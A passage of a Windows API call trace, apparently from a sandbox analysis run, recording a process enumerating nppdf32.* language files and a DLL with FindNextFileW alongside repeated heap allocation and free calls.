RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b9f0 [0081.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.137] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0081.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200fb8 [0081.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ba78 [0081.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.138] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0081.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200fd8 [0081.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bb00 [0081.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.139] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0081.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200ff8 [0081.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bb88 [0081.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.141] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0081.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201018 [0081.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bc10 [0081.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.142] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0081.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0081.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201038 [0081.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bc98 [0081.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.144] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0081.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201058 [0081.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bd20 [0081.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.145] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0081.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201078 [0081.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bda8 [0081.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0081.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201098 [0081.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124be30 [0081.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.148] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0081.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12010b8 [0081.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124beb8 [0081.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.149] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0081.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12010d8 [0081.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bf40 [0081.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.151] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0081.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12010f8 [0081.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124bfc8 [0081.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.152] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0081.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201118 [0081.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c050 [0081.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.153] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0081.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201138 [0081.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c0d8 [0081.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.154] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0081.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201158 [0081.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c160 [0081.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.156] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0081.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201178 [0081.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c1e8 [0081.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6640) returned 0x12527c8 [0081.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.157] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0081.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201198 [0081.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c270 [0081.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.159] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0081.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12011b8 [0081.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c2f8 [0081.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.160] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0081.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12011d8 [0081.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c380 [0081.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.161] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0081.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.162] RtlAllocateHeap (HeapHandle=0x940000, 